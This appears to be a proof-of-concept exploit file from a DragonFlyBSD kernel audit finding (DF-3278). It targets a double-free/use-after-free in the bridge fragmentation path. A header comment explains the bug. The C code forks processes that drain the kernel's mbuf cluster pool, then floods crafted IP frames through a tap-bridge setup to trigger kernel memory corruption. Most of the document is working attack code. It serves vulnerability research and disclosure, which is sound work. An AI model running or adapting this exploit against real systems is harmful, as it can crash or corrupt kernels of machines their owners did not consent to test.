⬢ DragonFlyBSD Kernel Audit
DF-3278 / frag_flood.c
← back to finding ↓ download raw
/*
 * DF-3278 -- bridge_fragment() double-free / UAF on M_PREPEND failure.
 *
 * if_bridge.c:4386-4405: after ip_fragment() succeeds, the re-header
 * loop does, per fragment m0:
 *
 *   M_PREPEND(m0, ..., M_NOWAIT);   // on failure FREES m0 (mbuf.h:463)
 *   if (m0 == NULL) { error = ENOBUFS; continue; }
 *   ...
 *   else
 *   m_freem(m);                     // <-- frees fragment #1 ('m'),
 *                                    //     again, for EVERY remaining
 *                                    //     iteration
 * and the loop increment reads m0->m_nextpkt of the just-freed m0.
 *
 * Any M_NOWAIT allocation failure while re-attaching headers to a
 * fragment chain of >= 2 fragments double-frees / UAFs.
 *
 * This PoC sets up the preconditions:
 *   - kldload ipfw (so inet pfil hooks are registered ->
 *     bridge_pfil() runs on forwarded packets)
 *   - bridge member with a small MTU so bridge_pfil's OUT path
 *     fragments (i > ifp->if_mtu, if_bridge.c:4115-4121)
 *   - floods large frames through the bridge to stress mbuf
 *     allocation (M_PREPEND must fail once at the wrong moment)
 *
 * NOTE: deterministically forcing m_gethdr(M_NOWAIT) failure is not
 * possible from userland without kernel knobs; this PoC floods to
 * maximize the chance.  See VERDICT.md for the code-path analysis.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <net/bridge/if_bridgevar.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <stdlib.h>

#define BRIDGE "bridge0"

static int s;

/*
 * Drain kernel mbuf clusters: UDP sockets on loopback with huge receive
 * buffers that are never read.  Each queued 64KB datagram pins real
 * clusters, so N drainers can hold most of the cluster pool, forcing
 * m_gethdr(M_NOWAIT) failures inside bridge_fragment()'s re-header
 * loop (the M_PREPEND double-free window).
 */
static void drainer(int id)
{
	struct sockaddr_in sin;
	unsigned char *big;
	int sock, one = 1, sz = 2 * 1024 * 1024, i;

	big = malloc(65500);
	if (big == NULL)
		_exit(1);
	memset(big, 0x5a, 65500);

	sock = socket(AF_INET, SOCK_DGRAM, 0);
	if (sock < 0)
		_exit(1);
	setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &sz, sizeof(sz));
	setsockopt(sock, SOL_SOCKET, SO_SNDBUF, &sz, sizeof(sz));
	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_port = htons(9100 + id);
	sin.sin_addr.s_addr = htonl(0x7f000001);
	if (bind(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0)
		_exit(1);

	for (i = 0; ; i++) {
		/* send to the NEXT drainer's port so queues fill up;
		 * close + reopen the socket periodically to oscillate
		 * pool pressure (a permanently dry pool just wedges) */
		sin.sin_port = htons(9100 + ((id + 1) % 8));
		if (sendto(sock, big, 65500, 0,
		    (struct sockaddr *)&sin, sizeof(sin)) < 0)
			usleep(2000);	/* queue full */
		if ((i & 0xfff) == 0xfff) {
			close(sock);	/* release all pinned clusters */
			usleep(300000);
			sock = socket(AF_INET, SOCK_DGRAM, 0);
			if (sock < 0)
				_exit(0);
			setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &sz,
			    sizeof(sz));
			setsockopt(sock, SOL_SOCKET, SO_SNDBUF, &sz,
			    sizeof(sz));
			if (bind(sock, (struct sockaddr *)&sin,
			    sizeof(sin)) < 0)
				_exit(0);
		}
	}
}

static void die(const char *m)
{
	fprintf(stderr, "[-] %s: %s\n", m, strerror(errno));
	exit(1);
}

static void drvspec(const char *ifname, int subcmd)
{
	struct ifbreq r;
	struct ifdrv ifd;

	memset(&r, 0, sizeof(r));
	strlcpy(r.ifbr_ifsname, "tap1", IFNAMSIZ);
	memset(&ifd, 0, sizeof(ifd));
	strlcpy(ifd.ifd_name, ifname, IFNAMSIZ);
	ifd.ifd_cmd = subcmd;
	ifd.ifd_len = sizeof(r);
	ifd.ifd_data = &r;
	if (ioctl(s, SIOCSDRVSPEC, &ifd) < 0)
		die("drvspec");
}

int main(int argc, char **argv)
{
	unsigned char frame[1514];
	struct ip *ip;
	int fd0, i, iters;

	setvbuf(stdout, NULL, _IOLBF, 0);
	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0)
		die("socket");

	iters = (argc > 1) ? atoi(argv[1]) : 200000;

	/* fork cluster drainers to dry out the mbuf pool */
	if (argc > 2 && strcmp(argv[2], "drain") == 0) {
		int d;

		for (d = 0; d < 8; d++) {
			if (fork() == 0) {
				drainer(d);
				_exit(0);
			}
		}
		sleep(3);	/* let the queues fill */
	}

	/* setup assumed done by run.sh (bridge0, tap0(1500), tap1(600)) */
	fd0 = open("/dev/tap0", O_RDWR);
	if (fd0 < 0)
		die("open /dev/tap0");

	memset(frame, 0, sizeof(frame));
	/* dst=02:11 src=02:22 type=0x0800 */
	memset(frame, 0x02, 6); frame[5] = 0x11;
	memset(frame + 6, 0x02, 6); frame[11] = 0x22;
	frame[12] = 0x08; frame[13] = 0x00;

	/* valid IP header: src 10.0.0.1 -> dst 10.0.0.2, len = 1500 */
	ip = (struct ip *)(frame + 14);
	ip->ip_v = IPVERSION;
	ip->ip_hl = 5;
	ip->ip_len = htons(1500);
	ip->ip_ttl = 64;
	ip->ip_p = IPPROTO_UDP;
	ip->ip_src.s_addr = htonl(0x0a000001);
	ip->ip_dst.s_addr = htonl(0x0a000002);
	{
		/* internet checksum: sum BIG-ENDIAN 16-bit words of the
		 * 20-byte header, else bridge_ip_checkbasic() drops the
		 * frame (ips_badsum).  Byte-wise to avoid endian traps. */
		unsigned char h[20];
		uint32_t sum = 0;
		int j;

		ip->ip_sum = 0;
		memcpy(h, ip, sizeof(h));
		for (j = 0; j < 20; j += 2)
			sum += (h[j] << 8) | h[j + 1];
		while (sum >> 16)
			sum = (sum & 0xffff) + (sum >> 16);
		ip->ip_sum = htons(~sum & 0xffff);
	}

	printf("[+] flooding %d jumbo frames through bridge (mtu 600 member)\n",
	    iters);
	for (i = 0; i < iters; i++) {
		if (write(fd0, frame, sizeof(frame)) < 0) {
			if (errno == ENOBUFS) {
				usleep(100);
				continue;
			}
			die("tap write");
		}
		if ((i % 10000) == 0) {
			printf("    %d\r", i);
			fflush(stdout);
		}
	}
	printf("[+] done, no crash observed\n");
	return (2);
}